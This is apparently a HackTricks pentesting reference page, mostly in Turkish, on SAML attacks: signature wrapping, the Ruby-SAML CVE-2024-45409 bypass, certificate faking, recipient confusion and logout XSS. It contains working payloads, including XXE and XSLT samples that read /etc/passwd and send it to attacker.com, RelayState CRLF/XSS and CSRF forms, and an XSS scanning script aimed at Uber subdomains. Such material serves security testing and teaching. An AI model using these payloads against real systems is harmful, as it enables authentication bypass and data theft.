SAML Saldırıları

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

SAML Basics

Araç

SAMLExtractor: Bir URL veya URL listesi alıp SAML consume URL’i yazdırabilen bir araç.

XML round-trip

XML’de, XML’in imzalanmış kısmı belleğe kaydedilir, sonra bazı kodlama/çözme işlemleri yapılır ve imza kontrol edilir. İdeal olarak bu kodlama/çözme veriyi değiştirmemelidir ancak bu senaryoda, kontrol edilen veri ile orijinal veri aynı olmayabilir.

Örneğin, aşağıdaki koda bakın:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Programı REXML 3.2.4 veya daha eski sürümlere karşı çalıştırmak bunun yerine aşağıdaki çıktıyı verirdi:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

  • Strategy: A new root element containing the signature is added.
  • Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
  • Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
  • Implication: Intends to confuse the business logic into using the malicious data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
  • Implication: Similar to XSW #3 but alters the XML structure more aggressively.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
  • Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
  • Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: An Extensions element is inserted with the copied Assertion as a child.
  • Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
  • Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain any IdP-signed SAMLResponse can forge a new assertion and authenticate as arbitrary users.

High-level workflow (signature-wrapping style bypass):

  1. Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
  2. Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
  3. Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
  4. Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

XXE’nin ne tür saldırılar olduğunu bilmiyorsanız, lütfen aşağıdaki sayfayı okuyun:

XXE - XEE - XML External Entity

SAML Responses, deflated and base64 encoded XML documents olup XML External Entity (XXE) saldırılarına karşı savunmasız olabilir. SAML Response’ın XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini sömürmeyi deneyebilir. Böyle bir saldırı şu şekilde görselleştirilebilir:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Araçlar

SAML isteğinden POC oluşturup olası XXE ve SAML zafiyetlerini test etmek için Burp eklentisi SAML Raider kullanılabilir.

Ayrıca şu konuşmayı da inceleyin: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML üzerinden XSLT

XSLT hakkında daha fazla bilgi için bakın:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. Önemle belirtmek gerekir ki XSLT dönüşümleri dijital imzanın doğrulanmasından önce gerçekleştirilir. Bu, geçerli bir imza olmadan da bir saldırının başarılı olabileceği anlamına gelir; kendi imzasını içeren (self-signed) veya geçersiz bir imza işlemeye devam etmek için yeterlidir.

Bu tür zafiyetleri kontrol etmek için burada bir POC bulabilirsiniz; bu bölümün başında bahsedilen hacktricks sayfasında payloads bulunmaktadır.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Araç

Ayrıca Burp uzantısı SAML Raider kullanarak bir SAML request’inden POC oluşturup olası XSLT vulnerabilities’i test edebilirsiniz.

Ayrıca şu konuşmayı da inceleyin: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, signature validation may not occur, making it vulnerable. İçerikleri genellikle signature tarafından doğrulanan öğeleri değiştirerek bunu test etmek mümkündür.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Araç

Ayrıca Burp uzantısı SAML Raider kullanabilirsiniz. SAML Response’ı intercept edin ve Remove Signatures’a tıklayın. Böyle yapıldığında tüm Signature elementleri kaldırılır.

İmzalar kaldırıldıktan sonra isteğin hedefe ilerlemesine izin verin. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking, bir Service Provider (SP) properly verifies that a SAML Message is signed by a trusted Identity Provider (IdP) olup olmadığını test etmek için kullanılan bir tekniktir. Bu, SAML Response veya Assertion’ı imzalamak için bir self-signed certificate kullanmayı içerir; bu, SP ile IdP arasındaki trust validation sürecini değerlendirmeye yardımcı olur.

How to Conduct Certificate Faking

Aşağıdaki adımlar SAML Raider Burp uzantısı kullanılarak süreci özetlemektedir:

  1. SAML Response’ı intercept edin.
  2. Eğer response bir signature içeriyorsa, sertifikayı Send Certificate to SAML Raider Certs butonunu kullanarak SAML Raider Certs’e gönderin.
  3. SAML Raider Certificates sekmesinde, import edilen sertifikayı seçip orijinal sertifikanın bir self-signed klonunu oluşturmak için Save and Self-Sign’e tıklayın.
  4. Burp’un Proxy’sindeki intercept edilmiş isteğe geri dönün. XML Signature açılır menüsünden yeni self-signed sertifikayı seçin.
  5. Remove Signatures butonuyla mevcut imzaları kaldırın.
  6. Mesajı veya assertion’ı yeni sertifika ile uygun olan (Re-)Sign Message veya (Re-)Sign Assertion butonunu kullanarak imzalayın.
  7. İmzalanmış mesajı forward edin. Başarılı authentication, SP’nin self-signed sertifikanızla imzalanmış mesajları kabul ettiğini gösterir ve SAML mesajlarının validation sürecindeki potansiyel vulnerabilities’i açığa çıkarır.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion ve Service Provider Target Confusion, bir Service Provider’ın bir response’un hedeflenen recipient’ını doğru şekilde doğrulayıp doğrulamadığını kontrol etmeyi içerir. Özetle, bir Service Provider, bir authentication response farklı bir provider için amaçlanmışsa bunu reddetmelidir. Buradaki kritik alan, bir SAML Response içindeki SubjectConfirmationData elementinde bulunan Recipient alanıdır. Bu alan, Assertion’ın gönderilmesi gereken yeri belirten bir URL belirtir. Gerçek recipient hedeflenen Service Provider ile eşleşmiyorsa, Assertion geçersiz sayılmalıdır.

Nasıl Çalışır

Bir SAML Token Recipient Confusion (SAML-TRC) saldırısının uygulanabilir olması için bazı koşullar sağlanmalıdır. Birincisi, Service Provider üzerinde (SP-Legit olarak anılan) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Service Provider (SP-Target) SP-Legit’e hizmet veren aynı Identity Provider’dan token kabul etmelidir.

Bu koşullar altında saldırı süreci basittir. Paylaşılan Identity Provider üzerinden SP-Legit ile gerçek bir oturum başlatılır. Identity Provider’dan SP-Legit’e giden SAML Response intercept edilir. Bu intercept edilmiş SAML Response, orijinalde SP-Legit için amaçlanmışken, daha sonra SP-Target’e yönlendirilir. Saldırının başarılı olduğu, SP-Target’in Assertion’ı kabul ederek SP-Legit ile aynı hesap adı altında kaynaklara erişim vermesiyle ölçülür.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Logout işlevinde XSS

Orijinal araştırmaya şu bağlantıdan erişilebilir: bu bağlantı.

Directory brute forcing sürecinde, bir logout sayfası keşfedildi:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Bu bağlantıya erişildiğinde şu adrese yönlendirildi:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Bu, base parametresinin bir URL kabul ettiğini ortaya koydu. Bunu göz önünde bulundurarak, URL’yi javascript:alert(123); ile değiştirip bir XSS (Cross-Site Scripting) attack başlatma fikri ortaya çıktı.

Kitlesel İstismar

Bu araştırmadan:

Aynı kütüphaneyi kullanan domainleri tespit etmek için uberinternal.com alt alan adlarını analiz etmek amacıyla SAMLExtractor aracı kullanıldı. Ardından oidauth/prompt sayfasını hedef alan bir script geliştirildi. Bu script, veriyi girip çıktıda yansıtılıp yansıtılmadığını kontrol ederek XSS (Cross-Site Scripting) testi yapıyor. Girdi gerçekten yansıtılıyorsa script sayfayı zafiyetli olarak işaretliyor.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState tabanlı header/body injection ile rXSS

Bazı SAML SSO endpoint’leri RelayState’i decode eder ve bunu yanıt içinde herhangi bir sanitizasyon yapmadan yansıtır. Eğer yeni satır karakterleri (newline) enjekte edip yanıtın Content-Type’ını override edebiliyorsanız, tarayıcıyı saldırgan kontrollü HTML render etmeye zorlayarak reflected XSS elde edebilirsiniz.

  • Fikir: yansıtılan RelayState içindeki newline injection yoluyla response-splitting’i kötüye kullanın. Ayrıntılar için ayrıca CRLF injection bölümündeki genel notlara bakın.
  • RelayState server-side’da base64 çözüldüğünde bile çalışır: header/body injection oluşturacak bir base64 verisi sağlayın.

Genelleştirilmiş adımlar:

  1. Yeni bir newline ile başlayan bir header/body injection dizisi oluşturun; content type’ı HTML olarak overwrite edin; ardından HTML/JS payload inject edin:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. Diziyi URL-encode edin (örnek):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. O URL-encoded string’i Base64-encode edin ve RelayState içine koyun.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Sentaks olarak geçerli bir SAMLResponse ve hazırlanmış RelayState içeren bir POST’u SSO endpoint’ine gönderin (ör. /cgi/logout).
  2. CSRF yoluyla dağıtın: her iki alanı da içeren cross-origin bir POST’u otomatik gönderen bir sayfa barındırın.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF teslimat deseni:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Neden işe yarıyor: sunucu RelayState’i çözer ve yanıtın içine, newline injection’a izin verecek şekilde dahil eder; bu da attacker’ın headers ve body üzerinde etkide bulunmasına olanak tanır. Content-Type: text/html zorlandığında tarayıcı, yanıt body’sindeki attacker-controlled HTML’i render eder.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin